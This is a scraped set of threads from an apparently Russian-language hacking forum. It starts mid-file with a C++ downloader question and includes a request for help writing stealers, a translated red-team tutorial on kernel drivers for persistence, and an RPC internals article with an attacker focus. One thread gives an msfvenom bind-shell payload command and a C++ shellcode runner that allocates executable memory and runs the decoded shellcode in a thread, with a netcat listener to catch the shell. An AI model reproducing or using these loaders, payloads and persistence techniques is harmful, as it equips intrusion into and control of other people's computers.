    for (int i = 0; i < argc; i += 2)
    {
        if (i != 0)
        {
            names.push_back(argv[i]);
        }
    }

    for (int i = 1; i < argc; i += 2)
    {
        urls.push_back(argv[i]);
    }

    cout << "Start download" << endl;

    for (int i = 0; i < urls.size(); i++)
    {
        HINTERNET hInternetSession;
        HINTERNET hURL;
        DWORD dwBytesRead = 1;

        hInternetSession = InternetOpen(
            L"tes",
            INTERNET_OPEN_TYPE_PRECONFIG,
            NULL, NULL, 0
        );

        if (!hInternetSession)
        {
            cout << "InternetOpen failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        hURL = InternetOpenUrlA(
            hInternetSession,
            urls[i],
            NULL, 0, INTERNET_FLAG_KEEP_CONNECTION |
                     INTERNET_FLAG_DONT_CACHE |
                     INTERNET_FLAG_SECURE |
                     INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
                     INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
                     INTERNET_DEFAULT_HTTPS_PORT,
            0
        );

        if (!hURL)
        {
            cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        DWORD fileSize = 0;
        DWORD lenFileSize = sizeof(DWORD);

        HttpQueryInfo(
            hURL,
            HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
            &fileSize,
            &lenFileSize,
            NULL
        );

        float tb = 1099511627776;
        float gb = 1073741824;
        float mb = 1048576;
        float kb = 1024;
        string size_prefix_str;
        float size;

        if (fileSize >= tb)
        {
            size_prefix_str = " TB";
            size = tb;
        }


        else if (fileSize >= gb && fileSize < tb)
        {
            size_prefix_str = " GB";
            size = gb;
        }

        else if (fileSize >= mb && fileSize < gb)
        {
            size_prefix_str = " MB";
            size = mb;
        }

        else if (fileSize >= kb && fileSize < mb)
        {
            size_prefix_str = " KB";
            size = kb;
        }

        else if (fileSize < kb)
        {
            size_prefix_str = " Bytes";
            size = 1;
        }

        else
        {
            size_prefix_str = " Bytes";
            size = 1;
        }

        char buf[1024];

        DWORD dwTemp;
        HANDLE hFile = CreateFileA(names[i], GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
        );

        if (!hFile)
        {
            cout << "CreateFileA failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        if (INVALID_HANDLE_VALUE == hFile)
        {
            cout << "ERROR INVALID_HANDLE_VALUE " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        float current_byte = 0.0;
        int percent = 0;
        int old_percent = 0;
        string s;

        for (; dwBytesRead > 0;)
        {
            if (!InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead))
            {
                cout << "InternetReadFile failed! Error " << GetLastError() << endl;
                system("pause");
                return 1;
            }
            current_byte += dwBytesRead;

            percent = (current_byte / fileSize) * 100;

            if (percent % 5 == 0 and percent != old_percent)
            {
                system("cls");
                cout << names[i] << "[" << i + 1 << "/" << names.size() << "] " << current_byte / size << size_prefix_str << " of " << fileSize / size << size_prefix_str << " - " << percent << "%\n";
                old_percent = percent;
            }

            WriteFile(hFile, buf, dwBytesRead, &dwTemp, NULL);
        }

        cout << "Downloaded" << endl;

        InternetCloseHandle(hURL);
        InternetCloseHandle(hInternetSession);

        CloseHandle(hFile);
    }

    system("pause");
    return 0;
}

Ошибка на 79 строчке.

C++:Copy to clipboard

 if (!hURL)
 {

     cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;

     system("pause");

     return 1;

 }

P.S. на говнокод не обращайте внимание, делал быстро на коленке и к релизу обязательно перепишу. Главное сейчас решить ошибку

Какой ЯП начать изучать?
ID: 6765d804b4103b69df3757bf
Thread ID: 94257
Created: 2023-07-28T20:33:41+0000
Last Post: 2023-07-31T04:24:36+0000
Author: bananoglot
Replies: 24 Views: 1K

Мне хотелось бы писать читы/стиллеры и тп.

заранее спасибо за ответ

Тактики Red Team: написание драйверов ядра Windows для расширенного персистенса (часть 1)
ID: 6765d804b4103b69df3757d7
Thread ID: 90278
Created: 2023-06-12T09:35:40+0000
Last Post: 2023-06-16T18:14:40+0000
Author: yashechka
Prefix: Статья
Replies: 7 Views: 1K

Введение

Этот пост, как следует из названия, будет посвящен написанию драйверов ядра Windows для расширенного Персистенса. Поскольку тема довольно сложная, я решил разделить проект на три или четыре части. Это первая статья в серии, в ней будет представлена основная информация, которую вам необходимо знать, чтобы начать разработку ядра. Она включает настройку среды разработки, настройку удаленной отладки ядра и написание вашего первого драйвера «Hello World».

Если все пойдет по плану, последующие посты серии будут посвящены следующим темам:

Часть 2: Создание сетевого триггера для удаленного управления драйвером ядра
Часть 3: Создание процессов из ядра

В итоге у вас должен быть драйвер, который можно запускать удаленно с помощью пользовательского сетевого пакета для создания высокопривилегированных процессов в целевой системе. С учетом сказанного, давайте начнем!

Отказ от ответственности

Я пишу эти сообщения в блоге, когда сам изучаю и продвигаюсь по этой теме. Поэтому мне может потребоваться некоторое время, чтобы опубликовать последующие сообщения. Спасибо за ваше терпение и не стесняйтесь обращаться ко мне, если вы обнаружите какие-либо ошибки.

Требования

Чтобы приступить к разработке драйверов ядра, вам сначала нужно настроить лабораторную среду. Вот минимальные требования, которые вам понадобятся для начала работы:

64-битный процессор (4+ ядра)
8 ГБ ОЗУ
96 ГБ доступной памяти
Учетная запись Microsoft (для Visual Studio )
Программное обеспечение для виртуализации
Я буду использовать VMWare Workstation 16, однако можно использовать любое программное обеспечение, поддерживающее виртуализацию.
Windows 10 или 11 ISO
В качестве альтернативы вы также можете использовать тестовый образ MSEdge.

Лабораторная установка

Для лабораторной установки потребуются 2 виртуальные машины (ВМ). Один для разработки, а другой для тестирования драйвера ядра. Если вы планируете работать над этим проектом на компьютере с Windows, можно обойтись только тестовой виртуальной машиной. Однако для этого вам потребуется установить все инструменты разработки на хост-компьютере, чего я бы не рекомендовал.

Если вам интересно, зачем вам отдельная виртуальная машина для тестирования, есть несколько причин.

- Для эффективной отладки ядра необходима отдельная тестовая виртуальная машина, так как локальная отладка ядра имеет множество ограничений, таких как невозможность установки правильных точек останова.

-Из-за критической природы ядра незначительные ошибки в коде драйвера могут привести к появлению в системе синих экранов смерти ( BSOD ), поскольку ядро, в отличие от пользовательских процессов, использует единое пространство памяти для всех своих драйверов и других ресурсов.

С этим покончено, давайте запачкаем же руки.

Лабораторная сеть

Прежде чем мы начнем настраивать виртуальные машины, давайте настроим тестовую сеть.

Сначала откройте редактор виртуальной сети VMWare от имени администратора:

1686562170831.png

Затем нажмите на Add Network... и выберите любую неназначенную сеть ( в моем случае VMNet19 ):

1686562179123.png

После нажатия OK вы должны вернуться в главное меню и должны увидеть только что созданную сеть в своем списке сетей. Выберите её и настройте с помощью адаптера только для хоста вместе с соответствующей информацией о подсети.

1686562185910.png

В этой статье я буду работать с подсетью 10.10.20.0/24, где виртуальной машине разработки будет присвоен IP-адрес 10.10.20.2 , а виртуальной машине тестирования — IP-адрес 10.10.20.3

Примечание

Поскольку сеть только для хоста не обеспечивает доступ к Интернету для виртуальных машин, важно назначить обеим виртуальным машинам два разных сетевых адаптера, например адаптер NAT и адаптер, который мы только что создали. Сеть NAT обеспечит доступ в Интернет для обеих виртуальных машин, а сеть только для хоста будет использоваться для связи между ними.

Одним из преимуществ этой настройки является то, что после настройки обеих машин мы можем удалить адаптер NAT с обеих виртуальных машин, чтобы получить изолированную сеть без исходящего доступа в Интернет. Это устраняет риск случайной отправки образца антивирусу и позволяет нам также изменять настройки брандмауэра виртуальных машин, не опасаясь атак из локальной сети.

Отказ от ответственности

Сообщение в блоге охватывает только установку необходимых компонентов для разработки ядра. Читатель должен завершить настройку, установив виртуальные машины Windows и настроив статические IP-адреса.

ВМ для разработки

Виртуальная машина разработки — это машина, на которой будет выполняться большая часть работы, поэтому я рекомендую выделить ей как минимум 4 ядра, 6 ГБ ОЗУ и 64 ГБ хранилища. Лично я буду использовать Windows 11 22H2, но Windows 10 будет работать отлично. Имея это в виду, давайте перейдем к фактической настройке.

Visual Studio 2022

По понятным причинам вам потребуется установить Visual Studio. При установке Visual Studio обязательно выберите разработку для настольных ПК с рабочей нагрузкой C++ и библиотеками устранения рисков Spectre. Если вы не можете найти библиотеки защиты, найдите их на вкладке «Отдельные компоненты».

1686562225346.png
Windows SDK

Нам также необходимо установить Windows Software Development Kit (SDK). Этот SDK содержит всю документацию, заголовочные файлы, библиотеки, примеры и инструменты, необходимые для разработки приложений для Microsoft Windows.

Больше ничего не нужно говорить. Как только вы начнете установку SDK, просто щелкайте по подсказкам установки, пока все не будет завершено.

Windows WDK

Помимо SDK нам также понадобится комплект драйверов Windows (WDK). WDK используется для разработки, тестирования и развертывания драйверов для Windows. При установке WDK обязательно установите расширение комплекта драйверов Visual Studio для Windows.

Примечание. Для правильной установки расширения необходимо закрыть Visual Studio .

1686562209522.png

WinDbg

Нам также понадобится отладчик. В этом случае мы будем использовать отладчик Windows ( WinDbg Preview ), который является важным инструментом для разработки ядра. В основном он будет использоваться для устранения неполадок нашего драйвера ядра в случае сбоев или неожиданного поведения.

Общий сетевой ресурс (необязательно)

В Visual Studio у нас есть возможность создавать так называемые события после сборки , которые могут запускать для нас множество полезных команд после того, как мы скомпилируем наш драйвер. Одним из таких событий после сборки, которое можно создать для упрощения процесса разработки, является копирование скомпилированного драйвера в папку (настроенную как сетевой ресурс). Этот сетевой ресурс будет использоваться для хранения всех встроенных драйверов, к которым может получить доступ тестовая виртуальная машина.

Если вы настроили свою лабораторию в соответствии с моими рекомендациями, вы можете избавить себя от необходимости настраивать общий ресурс с надлежащими элементами управления доступом и разрешениями. Просто дайте всем разрешения RWX, и все готово.

В конечном итоге ваша установка должна выглядеть примерно так:

1686562257074.png

Тестирование ВМ

Спецификации тестируемой виртуальной машины не имеют большого значения. Просто не забудьте дать ему достаточно мощности. Например, моя тестовая виртуальная машина была сконфигурирована с 2 ядрами, 4 ГБ ОЗУ и 32 ГБ хранилища. Опять же, он работает под управлением Windows 11 22H2, но у вас не должно быть никаких проблем, если вы используете Windows 10.

Данные конфигурации загрузки (BCD)

Далее нам нужно настроить BCD с помощью bcdedit команды. Откройте административную подсказку и введите следующие команды:

1686562271267.png

Первая команда включает отладку ядра, а вторая включает тестовую подпись. Отладка ядра позволяет нам отлаживать ядро машины, в то время как тестовая подпись отключает проверку подписи драйверов, позволяя нам загружать и тестировать наши пользовательские драйверы без необходимости соблюдать строгие правила безопасности драйверов Microsoft.

Обратите внимание, что включение тестовой подписи приведет к отображению предупреждающего водяного знака в правом нижнем углу машины:

1686562286973.png

Наконец, нам нужно включить удаленную отладку. Для этого мы можем использовать команду, аналогичную приведенной ниже:

1686562294089.png

Просто обратите внимание на то, чтобы задать hostip для свойства IP-адрес виртуальной машины разработки и установить для порта значение от 50000 до 50039. Кроме того, будьте осторожны, чтобы не перепутать IP-адреса машин разработки и тестирования. В этом случае мы хотим ввести IP-адрес компьютера для разработки, чтобы он мог подключиться к порту отладки.

Если все прошло так, как ожидалось, вы должны увидеть сгенерированный ключ, отображаемый в консоли:

1686562301822.png

Значение удаленной отладки будет объяснено позже. На данный момент убедитесь, что вы отложили сгенерированный ключ.

Брандмауэр

Чтобы предотвратить прерывания во время удаленной отладки, мы отключим брандмауэр. Для этого вы можете либо использовать графический интерфейс, либо выполнить следующую команду в административной строке:

1686562313510.png

Кроме того, вы также можете внести порт отладки в белый список через настройки, если вы предпочитаете не отключать брандмауэр полностью.

Отладка фильтра печати

Чтобы обеспечить вывод всех сообщений отладки ядра в отладчик, необходимо настроить фильтр печати отладки . Можно использовать следующую команду:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter" /v Default /t REG_DWORD /d 0xf

Обратите внимание, что для того, чтобы это изменение вступило в силу, компьютер необходимо перезагрузить. Неважно, перезагрузите ли вы виртуальную машину сейчас или после ее настройки. Просто не забудьте перезагрузить его в какой-то момент.

Загрузчик драйверов OSR

OSR Driver Loader — это инструмент, который мы будем использовать для загрузки или «выполнения» нашего драйвера. Одно из основных преимуществ использования загрузчика OSR вместо ручной настройки служб Windows заключается в том, что он содержит удобный графический интерфейс пользователя, что упрощает его использование.

Улучшения QoL (необязательно)

Вот несколько дополнительных советов, которые могут помочь сэкономить время:

Если вы настроили сетевую папку, содержащую встроенные драйверы, вы можете смонтировать ее и добавить в удобное место, например на рабочий стол.

Поскольку вы, скорее всего, будете бесчисленное количество раз сталкиваться с синим экраном во время тестирования драйвера, может быть полезно включить автоматический вход в систему без пароля и сделать снимок работающей виртуальной машины, чтобы вы могли легко вернуться к ней в случае серьезного сбоя.

Разработка драйверов

Наконец-то мы можем начать процесс разработки!

Присоединение WinDbg

При включенной удаленной отладке ядра вы сможете удаленно подключаться к ядру тестируемой виртуальной машины из виртуальной машины разработки.

Для этого откройте свой компьютер для разработки и запустите WinDbg. Зайдите в главное меню и выберите Attach to kernel:

1686562348265.png

В Net подменю введите сведения о тестируемой ВМ:

1686562357275.png

В моем случае IP-адрес тестируемой ВМ — 10.10.20.3, порт — 50039 и ключ — это значение, которое я сказал вам сохранить ранее (ваш ключ будет другим).

После нажатия OK вы должны быть подключены к ядру тестовой машины:

1686562365364.png

С этого момента вы можете устанавливать точки останова, проверять адреса памяти и многое другое. Просто имейте в виду, что если вы установите точку останова, тестируемая виртуальная машина может перейти в приостановленное (замороженное) состояние. Вам нужно будет удалить все точки останова, чтобы виртуальная машина возобновила работу. Кроме того, WinDbg также будет использоваться для проверки вызовов отладочной печати из нашего драйвера. Поскольку у драйверов нет консоли, использование отладчика для просмотра сообщений — единственный доступный нам вариант.

Создание проекта

Теперь давайте продолжим и создадим первый проект кода ядра! Начните с открытия Visual Studio и выбора Create a new project. Затем найдите Kernel Mode Driver, Empty (KMDF)шаблон.

1686562378099.png

Подтвердите свой выбор и назовите проект HelloWorld. После того, как Visual Studio загрузит решение, щелкните правой кнопкой мыши Source Files, затем щелкните Add и, наконец New Item..., .

1686562396011.png

Откроется окно, в котором вам будет предложено выбрать элемент для добавления в проект. Выберите C++ File (.cpp)и назовите его Driver.c. На самом деле вы можете назвать его как хотите, просто убедитесь, что у файла есть .c расширение.

1686562405978.png

Привет, мир!

Мы подходим к хорошему! В этом разделе мы, наконец, приступим к написанию драйвера.

Предупреждение

Чтобы писать драйверы ядра, необходимо хорошо понимать язык программирования Си. Если вы не знакомы с C, рекомендуется освежить свои навыки, прежде чем продолжить.

Все драйверы требуют подпрограммы DriverEntry, отвечающей за инициализацию драйвера. Думайте об этом как о main функции в стандартных программах на C.

Мы можем создать простую DriverEntry процедуру для файла Driver.c, которая будет выглядеть так:

C:Copy to clipboard

1


#include <ntddk.h>                  // Kernel header

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
    KdPrint(("Hello World!\n"));    // Printf "equivalent"
                                    //  - Only prints data when build settings are set to 'Debug',
                                    //    otherwise doesn't do anything
    return STATUS_SUCCESS;
}

В дополнение к подпрограмме входа нам также нужно что-то, называемое подпрограммой «выход», которая вызывается каждый раз, когда драйвер выгружается. Основное различие между процедурой выхода и процедуры входа состоит в том, что процедура выхода не имеет предопределенного имени. Таким образом, нам нужно вручную указать процедуру выгрузки при инициализации драйвера.

В моем случае я создал новую процедуру выхода под названием DriverUnload. Обновленный файл Driver.c после добавления подпрограммы должен выглядеть так:

C:Copy to clipboard

#include <ntddk.h>

NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
    KdPrint(("Goodbye World!\n"));
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
    KdPrint(("Hello World!\n"));
    driverObject->DriverUnload = DriverUnload; // Set the unload function to DriverUnload

    return STATUS_SUCCESS;
}

Это почти все, что касается программирования! Есть только одна проблема, которую нам нужно решить. Если вы попытаетесь создать решение сейчас, оно завершится ошибкой с несколько раздражающим сообщением об ошибке:

1686562490809.png

Поскольку ядро является критически важным компонентом операционной системы, и любые проблемы с драйвером могут иметь серьезные последствия, Microsoft выбрала осторожный подход к разработке. Поэтому решения, настроенные с помощью шаблона каркаса драйвера режима ядра ( KMDF ), всегда обрабатывают любые предупреждения как ошибки. Хотя это поведение можно отключить, делать это не рекомендуется, поскольку чем сложнее становится драйвер, тем сложнее будет устранять неполадки.

Вместо этого мы изменим наш код, чтобы устранить ошибку. Предупреждения указывают на наличие двух нессылочных параметров функции: driverObjectи registryPath. Вы можете либо использовать эти параметры где-то в своем коде, либо использовать макрос, UNREFERENCED_PARAMETER()чтобы пометить их как заведомо «неиспользуемые».

С этой настройкой драйвер должен быть наконец завершен:

C:Copy to clipboard

#include <ntddk.h>

NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
    UNREFERENCED_PARAMETER(driverObject);

    KdPrint(("Goodbye World!\n"));
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
    UNREFERENCED_PARAMETER(registryPath);
   
    KdPrint(("Hello World!\n"));
    driverObject->DriverUnload = DriverUnload;

    return STATUS_SUCCESS;
}

Отсюда обязательно установите целевую архитектуру на x64 и создайте драйвер в режиме отладки. Если вы правильно выполнили все шаги, теперь у вас должен быть самый первый драйвер ядра HelloWorld.sys!

Примечание

Если вы получаете сообщение об ошибке, похожее на DriverVer set to incorrect dateто, когда вы пытаетесь построить свой проект, не беспокойтесь. Просто зайдите в свойства проекта и найдите конфигурацию Inf2Cat. Найдите строку с вопросом, хотите ли вы использовать местное время, и выберите Yes (/uselocaltime).

Загрузка драйвера

Теперь, когда драйвер скомпилирован, нам нужно перенести его на тестовую виртуальную машину, используя ранее созданный сетевой ресурс. Если вы не создавали сетевую папку, найдите альтернативный способ переноса драйвера.

Для демонстрации я поместил драйвер в папку «Документы». Для его загрузки я буду использовать приложение OSRLoader.

1686562528084.png

Вам не нужно ничего настраивать, кроме указания местоположения вашего драйвера. Однако обратите внимание, что когда вы загружаете драйвер в первый раз, вам нужно будет зарегистрировать его как службу. Для этого нажмите на кнопку Register Service. Вы получите предупреждение, которое сообщит вам, было ли действие успешным или нет. Если это было успешно, теперь вы можете нажать кнопку Start Service , чтобы загрузить драйвер, и Stop Service, чтобы выгрузить его!

Запустив службу и загрузив драйвер, давайте проверим WinDbg, чтобы убедиться, что драйвер работает должным образом. Вспомним, что мы запрограммировали драйвер на печать «Hello World» при загрузке и «Goodbye World» при выгрузке.

1686562536102.png

Идеально! Это именно то, что мы хотели!

Заключение

Спасибо, что дочитали до конца поста! Я ценю, что вы нашли время, чтобы прочитать его, и я надеюсь, что вы нашли его полезным и информативным. Имейте в виду, что это была только первая часть серии, так что следите за следующей! Если с моей стороны все пойдет хорошо, следующая часть должна охватывать процесс создания драйвера, который можно активировать удаленно с помощью пользовательских сетевых пакетов.

Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: [https://v3ded.github.io/redteam/red...ernel-drivers-for-advanced- persistence-part-1](https://v3ded.github.io/redteam/red-team-tactics-writing- windows-kernel-drivers-for-advanced-persistence-part-1)

Running Shellcode in C++
ID: 6765d804b4103b69df3757e2
Thread ID: 73450
Created: 2022-09-21T12:48:48+0000
Last Post: 2023-05-20T19:27:23+0000
Author: qGodless
Replies: 29 Views: 1K

I'm generating a shellcode using
msfvenom -p windows/shell_bind_tcp LPORT=80 -f c

Trying to run it using

C++:Copy to clipboard

void main()
{
    const char shellcode[] = "\x09\xf5\x8f (...) ";
    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
    DWORD threadID;
    for (int i = 0; i < sizeof shellcode; i++)
    {
        ((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) - 13;
    }
    HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
    WaitForSingleObject(hThread, INFINITE);
}

Compiles correctly but Doesn't get a shell in

nc -lvp 80

c# socket sending images issue
ID: 6765d804b4103b69df3757ee
Thread ID: 55059
Created: 2021-08-09T14:28:40+0000
Last Post: 2023-05-08T07:46:25+0000
Author: thesecure123
Replies: 12 Views: 1K

hello

i am creating application to send images over socket

on some devices the server receives only part of the packet not all of it

also on some other devices the app is working fine

note that i send the images over the internet not in the internal network

this is the server

C#:Copy to clipboard

TcpListener listener = new TcpListener(port);
listener.Start();
 
Socket socket = listener.AcceptSocket();
 
byte[] data = new byte[4];
int count = socket.Receive(data, SocketFlags.None);
int messagesize = 0;
 
//could optionally call BitConverter.ToInt32(sizeinfo, 0);
messagesize |= data[0];
messagesize |= (((int)data[1]) << 8);
messagesize |= (((int)data[2]) << 16);
messagesize |= (((int)data[3]) << 24);
 
int len = 0;
label3.Text = messagesize.ToString();
while(len != messagesize)
{
    data = new byte[1024];
    len += socket.Receive(data);
    label4.Text = len.ToString();
}

the client

C#:Copy to clipboard

byte[] data = Capture();
TcpClient client = new TcpClient(ip, port);
 
NetworkStream stream = client.GetStream();
 
int length = data.Length;
byte[] sizeinfo = new byte[4];
 
//could optionally call BitConverter.GetBytes(data.length);
sizeinfo[0] = (byte)data.Length;
sizeinfo[1] = (byte)(data.Length >> 8);
sizeinfo[2] = (byte)(data.Length >> 16);
sizeinfo[3] = (byte)(data.Length >> 24);
 
stream.Write(sizeinfo, 0, sizeinfo.Length);
stream.Write(data, 0, data.Length);
stream.Close();
client.Close();
Внутренние компоненты Windows IPC: RPC /2/
ID: 6765d804b4103b69df3757f9
Thread ID: 68598
Created: 2022-06-13T12:52:21+0000
Last Post: 2023-04-13T17:13:27+0000
Author: вавилонец
Prefix: Статья
Replies: 3 Views: 1K

Изначально планировалось посвятить LPC и ALPC, но, как оказалось, выкапывать все недокументированные биты и трюки, связанные с этими технологиями, довольно трудоемко. Поэтому я решил сначала опубликовать свои знания о RPC, а затем снова обратиться к ALPC.

Причина, по которой я изначально планировал опубликовать LPC и ALPC перед RPC, заключается в том, что RPC использует ALPC под капотом при локальном использовании и даже больше: RPC - это решение для быстрого локального межпроцессного взаимодействия, поскольку RPC может быть предписано обрабатывать локальное взаимодействие через специальную последовательность протокола ALPC (но вы узнаете это, читая дальше).

В любом случае, урок здесь заключается в том (я думаю), что иногда лучше сделать паузу в каком-то деле, чтобы прояснить ситуацию и продвинуться в чем- то другом, прежде чем вы заблудитесь в чем-то, что просто не готово открыть вам свои тайны.

Введение

Удаленные вызовы процедур (RPC) - это технология, позволяющая осуществлять обмен данными между клиентом и сервером через границы процессов и машин (сетевое взаимодействие). Поэтому RPC является технологией межпроцессного взаимодействия (IPC). Другими технологиями в этой категории являются, например, LPC, ALPC или Named Pipes. Как следует из названия этой категории, RPC используется для осуществления вызовов на удаленные серверы для обмена/передачи данных или для запуска удаленной процедуры. Термин "удаленный" в данном случае не описывает требования к коммуникации. Сервер RPC не обязательно должен находиться на удаленной машине, и теоретически он даже не должен находиться в другом процессе (хотя это имело бы смысл).

Теоретически вы можете реализовать RPC-сервер и клиент в DLL, загрузить их в один и тот же процесс и обмениваться сообщениями, но вы мало что выиграете, так как сообщения все равно будут проходить через другие компоненты вне вашего процесса (например, ядро, но об этом позже), и вы попытаетесь использовать технологию "Inter" Process Communication для "Intra" Process Communication. Более того, сервер RPC не обязательно должен находиться на удаленной машине, он может быть вызван и с локального клиента.

В этой статье вы сможете вместе со мной узнать, что такое RPC, как он работает и функционирует, как реализовать и атаковать RPC-клиенты и серверы.

Эта статья написана с наступательной точки зрения и пытается охватить наиболее важные аспекты поверхности атаки RPC с точки зрения атакующего. Более оборонительный взгляд на RPC можно найти, например, на сайте Джонатана Джонсона.

В нижеследующем сообщении будут содержаться некоторые ссылки на код из моих примеров реализации, весь этот код можно найти [здесь](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/RPC/CPP-RPC-Client-Server).

История

Реализация RPC в Microsoft основана на реализации RPC стандарта Distributed Computing Environment (DCE), разработанного Open Software Foundation (OSF) в 1993 году.

"Одной из ключевых компаний, внесших вклад [в реализацию DCE], была Apollo Computer, которая привнесла NCA - 'Network Computing Architecture', ставшую Network Computing System (NCS), а затем и основной частью самого DCE/RPC".
Источник

Microsoft наняла Пола Лича (в 1991 году), одного из инженеров-основателей Apollo, и, возможно, именно так RPC появился в Windows.

Microsoft подстроила модель DCE под свою схему программирования, основала коммуникацию RPC на Named Pipes и представила свою реализацию в Windows 95.

В те времена вы могли задаться вопросом, почему они основали взаимодействие на NamedPipe, ведь Microsoft только что разработала новую технологию под названием Local Procedure Call (LPC) в 1994 году, и кажется, что было бы логично основать технологию под названием Remote Procedure Call на чем-то под названием Local Procedure Call, верно? ... Да, LPC был бы логичным выбором (и я полагаю, что они изначально выбрали LPC), но у LPC был существенный недостаток: он не поддерживал (и до сих пор не поддерживает) асинхронные вызовы (подробнее об этом я расскажу, когда наконец закончу свой пост о LPC/ALPC...), поэтому Microsoft основала его на Named Pipes.

Как мы увидим через некоторое время (раздел RPC Protocol Sequence), при реализации процедур с RPC разработчику необходимо указать библиотеке RPC, какой "протокол" использовать для передачи данных. В оригинальном стандарте DCE/RCP уже были определены 'ncacn_ip_tcp' и 'ncadg_ip_udp' для TCP и UDP соединений. Microsoft добавила 'ncacn_np' для своей реализации на основе Named Pipes (транспортировка через протокол SMB).

Обмен сообщениями RPC

RPC - это технология клиент-сервер с архитектурой обмена сообщениями, похожей на COM (Component Object Model), которая на высоком уровне состоит из следующих трех компонентов:

  • Серверный и клиентский процессы, отвечающие за регистрацию интерфейса RPC и связанную с ним информацию о привязке (подробнее об этом позже).
  • Серверные и клиентские заглушки, отвечающие за сортировку входящих и исходящих данных.
  • Библиотека времени выполнения RPC сервера и клиента (rpcrt4.dll), которая берет данные-заглушки и отправляет их по сети с использованием указанного протокола (примеры и подробности будут следовать ниже)

Визуальный обзор этой архитектуры сообщений можно найти по адресу https://docs.microsoft.com/en-us/windows/win32/rpc/how-rpc-works , как показано ниже:

1655135340700.png

Позже, в разделе RPC Communication Flow, я представлю обзор шагов от создания RPC-сервера до отправки сообщения, но прежде чем мы сможем погрузиться в это, нам нужно прояснить несколько терминов RPC. Потерпите, пока мы будем копаться во внутренностях RPC. Следующие вещи необходимо знать для того, чтобы освоить RPC.

Если вы запутались в новых терминах и вызовах API, которые вы просто не можете уловить, вы всегда можете перейти к разделу RPC Communication Flow, чтобы получить представление о месте этих вещей в коммуникационной цепочке.

Последовательность протоколов RPC

RPC Protocol Sequence - это постоянная строка, определяющая, какой протокол должна использовать среда выполнения RPC для передачи сообщений. Эта строка определяет, какой протокол RPC, транспортный и сетевой протокол должен использоваться.

Microsoft поддерживает следующие три протокола RPC:

  • протокол, ориентированный на соединение Network Computing Architecture (NCACN)
  • протокол дейтаграмм архитектуры сетевых вычислений (NCADG)
  • локальный удаленный вызов процедур архитектуры сетевых вычислений (NCALRPC).

В большинстве сценариев, где соединение осуществляется по сети, вы будете использовать NCACN, в то время как NCALRPC рекомендуется для локальной связи RPC.

Последовательность протокола - это определенная константная строка, собранная из вышеуказанных частей, например, ncacn_ip_tcp для ориентированного на соединение взаимодействия, основанного на TCP-пакетах.

Полный список констант последовательности протокола RPC можно найти [по адресу.](https://docs.microsoft.com/en-us/windows/win32/rpc/protocol-sequence- constants)

Ниже приведены наиболее важные последовательности протоколов:

ncacn_ip_tcp| Connection-oriented Transmission Control Protocol/Internet Protocol (TCP/IP)
---|---
ncacn_http| Connection-oriented TCP/IP using Microsoft Internet Information Server as HTTP proxy
ncacn_np| Connection-oriented named pipes (via SMB.)
ncadg_ip_udp| Datagram (connectionless) User Datagram Protocol/Internet Protocol (UDP/IP)
ncalrpc| Local Procedure Calls (post Windows Vista via ALPC)

Чтобы установить канал связи, среда выполнения RPC должна знать, какие методы (они же "функции") и параметры предлагает ваш сервер и какие данные посылает ваш клиент. Эта информация определяется в так называемом "интерфейсе".

Примечание: Если вы знакомы с интерфейсами в COM, это то же самое.

Чтобы получить представление о том, как можно определить интерфейс, давайте возьмем этот пример из моего примера [кода](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC- Interface1/Interface1-Implicit.idl)

Interface1.idl

C++:Copy to clipboard

[
    // UUID: A unique identifier that distinguishes this
    // interface from other interfaces.
    uuid(9510b60a-2eac-43fc-8077-aaefbdf3752b),

    // This is version 1.0 of this interface.
    version(1.0),

 
    // Using an implicit handle here named hImplicitBinding:
    implicit_handle(handle_t hImplicitBinding)
 
]
interface Example1 // The interface is named Example1
{
    // A function that takes a zero-terminated string.
    int Output(
        [in, string] const char* pszOutput);

    void Shutdown();
}

Первое, что необходимо отметить, это то, что интерфейсы определяются в файле Interface Definition Language (IDL). Определения в нем будут позже скомпилированы компилятором Microsoft IDL (midl.exe) в файлы заголовков и исходного кода, которые могут быть использованы сервером и клиентом.

Заголовок интерфейса достаточно самоочевиден с приведенными комментариями - игнорируйте пока инструкцию implicit_handle, мы скоро перейдем к неявным и явным дескрипторам. Тело интерфейса описывает методы, которые этот интерфейс раскрывает, их возвращаемые значения и параметры. Оператор [in, string] в определении параметра функции Output не является обязательным, но помогает понять, для чего используется этот параметр.

Примечание: Вы также можете указать различные атрибуты интерфейса в файле конфигурации приложения (ACF). Некоторые из них, такие как тип связывания (явное или неявное), можно поместить в IDL-файл, но для более сложных интерфейсов вы можете добавить дополнительный ACF-файл для каждого интерфейса.

Привязка RPC

Как только ваш клиент подключается к серверу RPC (позже мы рассмотрим, как это делается), вы создаете то, что Microsoft называет "привязкой". Или, говоря [словами Microsoft](https://docs.microsoft.com/en- us/windows/win32/rpc/binding-handles):

